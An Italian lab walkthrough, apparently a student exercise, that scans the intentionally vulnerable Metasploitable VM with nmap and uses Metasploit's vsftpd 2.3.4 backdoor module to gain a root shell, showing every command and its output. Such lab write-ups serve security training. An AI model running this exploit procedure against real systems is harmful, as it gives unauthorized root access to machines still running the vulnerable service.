

---



MetaSploit

---

---

---



# Cos'è un Exploit

In informatica, il termine "exploit" si riferisce a un programma, un codice o una sequenza di comandi che sfrutta una vulnerabilità o una debolezza in un sistema informatico, un'applicazione o un servizio al fine di ottenere un vantaggio non autorizzato. Gli exploit vengono comunemente utilizzati per compromettere la sicurezza di un sistema, ottenere accesso non autorizzato o eseguire azioni dannose.

---



# Attacco alla macchina MetaSploitable

---

Per prima cosa, andremmo a fare una scansione verso l'ip Target per controllare lo stato delle porte e individuare eventuali servizi vulnerabili

In questo caso ci concentreremo sulla porta 21/TCP che ha un servizio attivo (FSTPD)

FTPD = (File Transfer Protocol Daemon) è un server che gestisce il trasferimento di file su una rete.

```
kali@kali: ~  
File Azioni Modifica Visualizza Aiuto  
(kali@kali)-[~]  
$ nmap -sV 192.168.50.101  
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-15 11:06 CET  
Nmap scan report for 192.168.50.101  
Host is up (0.00014s latency).  
Not shown: 977 closed tcp ports (conn-refused)  
PORT      STATE SERVICE      VERSION  
21/tcp    open  ftp          vsftpd 2.3.4  
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)  
23/tcp    open  telnet       Linux telnetd  
25/tcp    open  smtp         Postfix smtpd  
53/tcp    open  domain       ISC BIND 9.4.2  
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)  
111/tcp   open  rpcbind      2 (RPC #100000)  
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
512/tcp   open  exec         netkit-rsh rshcd  
513/tcp   open  login?         
514/tcp   open  shell        Netkit rshd  
1099/tcp  open  java-rmi     GNU Classpath grmiregistry  
1524/tcp  filtered ingreslock     
2049/tcp  open  nfs          2-4 (RPC #100003)  
2121/tcp  open  ftp          ProFTPD 1.3.1  
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5  
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7  
5900/tcp  open  vnc          VNC (protocol 3.3)  
6000/tcp  open  X11          (access denied)  
6667/tcp  open  irc          UnrealIRCd  
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)  
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1  
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; C  
PE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/  
.  
Nmap done: 1 IP address (1 host up) scanned in 66.58 seconds
```

Ora apriremo la console di Metasploit per cercare un Exploit da mandare alla macchina vittima, ora che sappiamo le sue porte e relativi protocolli in uso

con il comando “search” cercheremo l’exploit che vogliamo, in questo caso ne vogliamo uno che vada bene per il protocollo “VSFTPD”

per “caricare” l’exploit useremo il comando “use”  
nomeExploit

```
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: Network adapter names can be used for IP options set LHOST
eth0

+--=[ metasploit v6.3.50-dev ]
+--=[ 2384 exploits - 1235 auxiliary - 417 post ]
+--=[ 1391 payloads - 46 encoders - 11 nops ]
+--=[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search vsftpd

Matching Modules
=====
#  Name                                     Disclosure Date  Rank   Check  Description
-  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal Yes     VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
```

dopo aver caricato l'exploit andremo a settare le sue impostazioni per poi poterlo eseguire

con il comando "option" andremmo a vedere di cosa ha bisogno ( HOST e PORT), quindi con il comando "set" RHOSTS" e "set" RPORT andremmo a inserire i dati della macchina vittima

Alla fine, lanceremo l'exploit con il comando "exploit"

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options
Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ---      -
  CHOST      SqlLab           no        The local client address
  CPORT      21               no        The local client port
  Proxies    127.0.0.1:8080   no        A proxy chain of format type:host:port[,type:host:port]
  RHOSTS     192.168.50.101   yes       The target host(s), see https://docs.metasploit.com/docs/using-the-framework/010-using-rhosts.html
  RPORT      21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  ---      -
  CMD       cmd              no        The command to execute

Exploit target:

  Id  Name
  --  ---
  0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RPORT 21
RPORT => 21
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
```

---

```
[*] 192.168.50.101:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.50.101:21 - USER: 331 Please specify the password.
[+] 192.168.50.101:21 - Backdoor service has been spawned, handling ...
[+] 192.168.50.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.102:38133 → 192.168.50.101:6200) at 2024-01-15 11:12:58 +0100

pwd
/
cd root
ls
Desktop
reset_logs.sh
test_metasploit
vnc.log
mkdir nomeCartella
```

Ora si creerà una Shell nella macchina vittima e noi potremo utilizzarla liberamente

useremo i comandi di kali per muoverci nel terminale

---